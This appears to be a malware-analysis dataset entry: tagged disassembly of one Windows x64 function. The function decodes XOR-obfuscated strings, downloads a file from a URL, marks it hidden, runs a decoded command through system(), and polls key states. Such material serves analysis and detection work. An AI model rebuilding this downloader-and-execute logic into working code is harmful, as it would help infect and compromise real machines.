Function at 0x140005e70
Capabilities:
Acquire debug privileges
Download url
Encode data using xor
Execute command
Log keystrokes via polling
Receive data
Set console window title
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [0x140010010]
xor rax, rsp
mov qword [rbp + 0xf0], rax
xor edi, edi
mov dword [rsp + 0x50], edi
movdqa xmm1, xmmword [0x14000cb40]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
mov byte [rsp + 0x40], dil
lea rcx, [rsp + 0x31]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [0x1400108f8], rax
call fcn.1400054a0
lea rcx, [rbp - 0x30]
call fcn.140005350
nop
mov rcx, rax
cmp qword [rax + 0x18], 8
jb 0x140005f49
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x80], rcx
mov qword [rbp + 0x88], rax
call fcn.1400097d0
movaps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rbp + 0xd0]
call fcn.140007a80
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x140005fc4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005fbf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005fbf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a11c
movdqa xmm0, xmmword [0x14000c9d0]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x30], di
lea rdx, [0x140010088]
lea rcx, [rbp + 0x50]
call fcn.1400078e0
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.140005c60
mov rbx, rax
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x10]
call fcn.140007d20
nop
mov r9, rbx
mov r8, rax
lea rcx, [rbp - 0x10]
call fcn.140008bd0
nop
lea rcx, str..dll
call fcn.140003600
mov r8, rax
lea rdx, str..dll
lea rcx, [rbp - 0x10]
call fcn.140007a00
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], rdi
mov qword [rbp + 0xb8], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x1400060ae
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400060a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400060a9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a11c
movdqa xmm0, xmmword [0x14000c9e0]
movdqu xmmword [rbp], xmm0
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1400060fd
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400060f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400060f8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a11c
movdqa xmm0, xmmword [0x14000c9e0]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x14000614c
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006147
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006147
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a11c
movdqa xmm0, xmmword [0x14000c9e0]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rdi
mov qword [rbp + 0x98], rdi
lea rcx, [0x14000c84c]
call fcn.140003600
mov r8, rax
lea rdx, [0x14000c84c]
lea rcx, [rbp + 0x80]
call fcn.1400084d0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rdi
lea rcx, [0x14000c848]
call fcn.140003600
mov r8, rax
lea rdx, [0x14000c848]
lea rcx, [rsp + 0x30]
call fcn.1400084d0
nop
mov rbx, rdi
mov rdi, qword [rsp + 0x40]
mov r13, qword [rbp + 0x90]
mov rax, qword [rsp + 0x30]
lea rsi, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rsi, rax
lea r12, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae r12, qword [rbp + 0xa0]
mov rcx, qword [rbp + 0xb0]
cmp rdi, rcx
ja 0x1400062bb
mov rax, rcx
sub rax, rdi
cmp rbx, rax
ja 0x1400062b6
test rdi, rdi
je 0x140006273
sub rcx, rdi
lea r14, [rcx + r12]
lea rcx, [r12 + rbx]
movsx r15d, byte [rsi]
lea r8, [r14 + 1]
sub r8, rcx
mov edx, r15d
call sub.VCRUNTIME140.dll_memchr
test rax, rax
mov rbx, rax
je 0x1400062b6
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140006270
inc rbx
lea r8, [r14 + 1]
sub r8, rbx
mov rcx, rbx
jmp 0x14000623f
sub rbx, r12
cmp rbx, 0xffffffffffffffff
je 0x1400062b6
lea r9, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae r9, qword [rbp + 0x80]
mov qword [rsp + 0x20], r13
mov r8, rdi
mov rdx, rbx
lea rcx, [rbp + 0xa0]
call fcn.140009370
mov r13, qword [rbp + 0x90]
add rbx, r13
jmp 0x1400061da
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
cmp rcx, 0x10
jb 0x1400062fc
lea rdx, [rcx + 1]
mov rcx, rax
cmp rdx, 0x1000
jb 0x1400062f3
add rdx, 0x27
mov rax, qword [rax - 8]
mov qword [rbp - 0x40], rax
sub rcx, rax
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000633b
mov rax, qword [rbp - 0x40]
mov rcx, rax
call fcn.14000a11c
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x140006347
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006342
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006342
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14000a11c
movdqa xmm1, xmmword [0x14000cbf0]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm2, xmmword [str.xcfh_Alxcneh]
movdqu xmmword [rsp + 0x40], xmm2
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x40], al
xor byte [rsp + 0x41], cl
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
mov byte [rsp + 0x4f], 0
lea rax, [rsp + 0x31]
mov qword [rbp - 0x40], rax
mov edx, 0xd
lea rcx, [rbp - 0x40]
call fcn.140003ac0
movdqa xmm1, xmmword [0x14000ca20]
movdqu xmmword [rsp + 0x30], xmm1
mov cl, 0xf
movzx r8d, cl
mov r9b, 2
mov r10b, 0x43
mov r11b, 0x37
movzx ebx, r9b
mov dil, 4
mov sil, 0x4d
movzx r14d, sil
movzx r15d, sil
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], dl
xor byte [rsp + 0x33], dl
xor byte [rsp + 0x34], dl
xor byte [rsp + 0x35], dl
xor byte [rsp + 0x36], dl
xor byte [rsp + 0x37], dl
xor byte [rsp + 0x38], dl
xor byte [rsp + 0x39], dl
xor byte [rsp + 0x3a], dl
xor byte [rsp + 0x3b], dl
xor byte [rsp + 0x3c], dl
xor byte [rsp + 0x3d], dl
xor byte [rsp + 0x3e], dl
xor byte [rsp + 0x3f], dl
xor cl, dl
mov byte [rsp + 0x40], cl
xor r8b, dl
mov byte [rsp + 0x41], r8b
xor r9b, dl
mov byte [rsp + 0x42], r9b
xor r10b, dl
mov byte [rsp + 0x43], r10b
xor r11b, dl
mov byte [rsp + 0x44], r11b
xor bl, dl
mov byte [rsp + 0x45], bl
xor dil, dl
mov byte [rsp + 0x46], dil
xor sil, dl
mov byte [rsp + 0x47], sil
xor r14b, dl
mov byte [rsp + 0x48], r14b
xor r15b, dl
mov byte [rsp + 0x49], r15b
mov byte [rsp + 0x4a], 0
lea rax, [rsp + 0x31]
mov qword [rbp - 0x40], rax
mov edx, 0xb
lea rcx, [rbp - 0x40]
call fcn.140003ac0
nop word [rax + rax]
mov byte [rsp + 0x30], 0x65
movdqa xmm0, xmmword [0x14000c9f0]
movdqu xmmword [rsp + 0x31], xmm0
movd eax, xmm0
xor al, 0x65
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], 0x65
xor byte [rsp + 0x33], 0x65
xor byte [rsp + 0x34], 0x65
xor byte [rsp + 0x35], 0x65
xor byte [rsp + 0x36], 0x65
xor byte [rsp + 0x37], 0x65
xor byte [rsp + 0x38], 0x65
xor byte [rsp + 0x39], 0x65
xor byte [rsp + 0x3a], 0x65
xor byte [rsp + 0x3b], 0x65
xor byte [rsp + 0x3c], 0x65
xor byte [rsp + 0x3d], 0x65
xor byte [rsp + 0x3e], 0x65
xor byte [rsp + 0x3f], 0x65
mov byte [rsp + 0x40], 0
lea rcx, [rsp + 0x31]
call fcn.140008de0
test al, al
jne 0x140006586
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140006500
movdqa xmm1, xmmword [0x14000ca30]
movdqu xmmword [rsp + 0x30], xmm1
mov dl, 0x3e
mov r8b, 0x38
mov r9b, 0x7e
mov r10b, 0x55
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor dl, cl
mov byte [rsp + 0x40], dl
xor r8b, cl
mov byte [rsp + 0x41], r8b
xor r9b, cl
mov byte [rsp + 0x42], r9b
xor r10b, cl
mov byte [rsp + 0x43], r10b
mov byte [rsp + 0x44], 0
lea rax, [rsp + 0x31]
mov qword [rbp - 0x40], rax
mov edx, 0xa
lea rcx, [rbp - 0x40]
call fcn.140003ac0
mov rdi, qword [rbp + 0xb0]
lea rbx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rbx, qword [rbp + 0xa0]
call fcn.1400097d0
mov qword [rbp + 0x80], rbx
mov qword [rbp + 0x88], rdi
lea r8, [rbp + 0x80]
mov edx, eax
lea rcx, [rbp - 0x30]
call fcn.1400047e0
mov esi, 0x1fc0
lea rcx, [rbp - 0x30]
call fcn.140005240
movzx ebx, al
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x1400066bf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400066ba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a11c
test bl, bl
jne 0x140006c67
movdqa xmm1, xmmword [0x14000ca50]
movdqu xmmword [rsp + 0x30], xmm1
mov dl, 0x44
movzx r8d, dl
movzx r9d, dl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor dl, cl
mov byte [rsp + 0x40], dl
xor r8b, cl
mov byte [rsp + 0x41], r8b
xor r9b, cl
mov byte [rsp + 0x42], r9b
mov byte [rsp + 0x43], bl
lea rax, [rsp + 0x31]
mov qword [rbp - 0x40], rax
mov edx, 0xb
lea rcx, [rbp - 0x40]
call fcn.140003ac0
lea r8, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae r8, qword [rbp + 0xa0]
lea rdx, [0x1400100e8]
cmp qword [0x140010100], 0x10
cmovae rdx, qword [0x1400100e8]
xor r14d, r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jns 0x140006960
movdqa xmm0, xmmword [0x14000cb00]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [0x14000cba0]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [0x14000cbb0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x14000cae0]
movdqa xmmword [rbp - 0x70], xmm1
mov dword [rbp - 0x60], 0x262f2835
mov word [rbp - 0x5c], 0x6f
mov ecx, r14d
nop
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x61], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x62], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x63], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x64], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x65], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x66], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x67], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x68], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x69], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x6a], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x6b], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x6c], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x6d], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x6e], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x6f], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x70], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x71], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x72], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x73], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x74], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x75], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x76], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x77], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x78], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x79], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x7a], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x7b], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x7c], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x7d], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x7e], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x7f], al
movzx eax, byte [rsp + 0x60]
xor byte [rbp + rcx - 0x80], al
movzx eax, byte [rsp + 0x60]
xor byte [rbp + rcx - 0x7f], al
movzx eax, byte [rsp + 0x60]
xor byte [rbp + rcx - 0x7e], al
add rcx, 0x22
cmp rcx, 0x44
jb 0x1400067f0
mov byte [rbp - 0x5b], r14b
lea rax, [rsp + 0x61]
mov qword [rbp - 0x40], rax
mov edx, 0xc
lea rcx, [rbp - 0x40]
call fcn.140003ac0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000723b
mov rdi, qword [rbp + 0xb0]
lea rbx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rbx, qword [rbp + 0xa0]
call fcn.1400097d0
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rdi
lea r8, [rbp - 0x40]
mov edx, eax
lea rcx, [rsp + 0x60]
call fcn.1400047e0
or esi, 0xc
or esi, 1
mov dword [rsp + 0x50], esi
lea rcx, [rsp + 0x60]
call fcn.140005240
test al, al
jne 0x140006a94
mov rdi, qword [rbp + 0xb0]
lea rbx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rbx, qword [rbp + 0xa0]
call fcn.1400097d0
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rdi
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rbp - 0x30]
call fcn.1400047e0
or esi, 0x30
or esi, 2
mov dword [rsp + 0x50], esi
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 8
cmovae rcx, qword [rbp - 0x30]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp + 0x80]
call fcn.140009a30
mov edx, eax
test eax, eax
jne 0x140006a61
mov ecx, dword [rbp + 0x90]
bt ecx, 0xa
jae 0x140006a56
mov eax, dword [rbp + 0x94]
cmp eax, 0xa000000c
jne 0x140006a48
lea ecx, [rdx + 4]
jmp 0x140006a8b
cmp eax, 0xa0000003
jne 0x140006a56
mov ecx, 0xa
jmp 0x140006a8b
and ecx, 0x10
or ecx, 0x20
shr ecx, 4
jmp 0x140006a8b
sub eax, 2
je 0x140006a78
sub eax, 1
je 0x140006a78
sub eax, 0x32
je 0x140006a78
cmp eax, 0x46
mov ecx, r14d
jne 0x140006a7d
mov ecx, 1
lea eax, [rcx - 1]
test eax, 0xfffffff7
jne 0x140007602
cmp ecx, 2
je 0x140006a94
mov bl, 1
jmp 0x140006a96
xor bl, bl
test sil, 2
je 0x140006aec
and esi, 0xfffffffd
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x140006adb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006ad6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b47
call fcn.14000a11c
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], r14w
test sil, 1
je 0x140006b33
and esi, 0xfffffffe
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140006b33
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b2e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b4e
call fcn.14000a11c
test bl, bl
je 0x140006b55
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140006960
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movdqa xmm1, xmmword [0x14000cb10]
movdqu xmmword [rsp + 0x30], xmm1
mov cl, 0x37
mov dl, 0x2e
mov r8b, 0x2c
mov r9b, 0x2f
mov r11b, 0x21
mov bl, 0x24
mov dil, 0x25
movzx esi, bl
mov r14b, 0x60
mov r15b, 0x2d
movzx r12d, r9b
movzx r13d, bl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r10d, xmm1
xor al, r10b
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], r10b
xor byte [rsp + 0x33], r10b
xor byte [rsp + 0x34], r10b
xor byte [rsp + 0x35], r10b
xor byte [rsp + 0x36], r10b
xor byte [rsp + 0x37], r10b
xor byte [rsp + 0x38], r10b
xor byte [rsp + 0x39], r10b
xor byte [rsp + 0x3a], r10b
xor byte [rsp + 0x3b], r10b
xor byte [rsp + 0x3c], r10b
xor byte [rsp + 0x3d], r10b
xor byte [rsp + 0x3e], r10b
xor byte [rsp + 0x3f], r10b
xor cl, r10b
mov byte [rsp + 0x40], cl
xor dl, r10b
mov byte [rsp + 0x41], dl
xor r8b, r10b
mov byte [rsp + 0x42], r8b
xor r9b, r10b
mov byte [rsp + 0x43], r9b
xor r11b, r10b
mov byte [rsp + 0x44], r11b
xor bl, r10b
mov byte [rsp + 0x45], bl
xor dil, r10b
mov byte [rsp + 0x46], dil
xor sil, r10b
mov byte [rsp + 0x47], sil
xor r14b, r10b
mov byte [rsp + 0x48], r14b
xor r15b, r10b
mov byte [rsp + 0x49], r15b
xor r12b, r10b
mov byte [rsp + 0x4a], r12b
xor r13b, r10b
mov byte [rsp + 0x4b], r13b
mov al, 0x61
xor al, r10b
mov byte [rsp + 0x4c], al
mov byte [rsp + 0x4d], 0
lea rax, [rsp + 0x31]
mov qword [rbp - 0x40], rax
mov edx, 0xa
lea rcx, [rbp - 0x40]
call fcn.140003ac0
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rcx, qword [rbp + 0xa0]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rsp + 0x50], 0xc
mov al, 0x6f
mov cl, 0x60
mov dl, 0x7f
xor r8d, r8d
xor al, 0xc
mov byte [rsp + 0x51], al
xor cl, 0xc
mov byte [rsp + 0x52], cl
xor dl, 0xc
mov byte [rsp + 0x53], dl
mov byte [rsp + 0x54], r8b
lea rcx, [rsp + 0x51]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm1, xmmword [0x14000cc00]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
mov byte [rsp + 0x40], 0
lea rcx, [rsp + 0x31]
call fcn.140008ec0
mov dword [rsp + 0x50], eax
movdqa xmm1, xmmword [0x14000ca80]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
mov byte [rsp + 0x40], 0
lea rcx, [rsp + 0x31]
call fcn.140008f80
mov qword [rbp - 0x40], rax
movdqa xmm1, xmmword [0x14000ca60]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
mov byte [rsp + 0x40], 0
lea rax, [rsp + 0x31]
mov qword [rbp + 0x80], rax
mov edx, 0xa
lea rcx, [rbp + 0x80]
call fcn.140003ac0
lea rcx, [rsp + 0x50]
call fcn.140007e80
lea rcx, [rbp - 0x40]
call fcn.140007fa0
lea rdx, [0x140003d10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movdqa xmm0, xmmword [0x14000cb60]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [0x14000cb70]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [0x14000cb80]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x14000caa0]
movdqa xmmword [rbp - 0x70], xmm1
mov dword [rbp - 0x60], 0x32115651
xor eax, eax
mov byte [rbp - 0x5c], al
xor ecx, ecx
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x61], al
inc rcx
cmp rcx, 0x43
jb 0x140006e90
mov byte [rbp - 0x5c], 0
lea rax, [rsp + 0x61]
mov qword [rbp + 0x80], rax
mov edx, 0xd
lea rcx, [rbp + 0x80]
call fcn.140003ac0
mov ecx, 0x74
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x140006eee
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x74
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140006ed3
movdqa xmm1, xmmword [0x14000cb90]
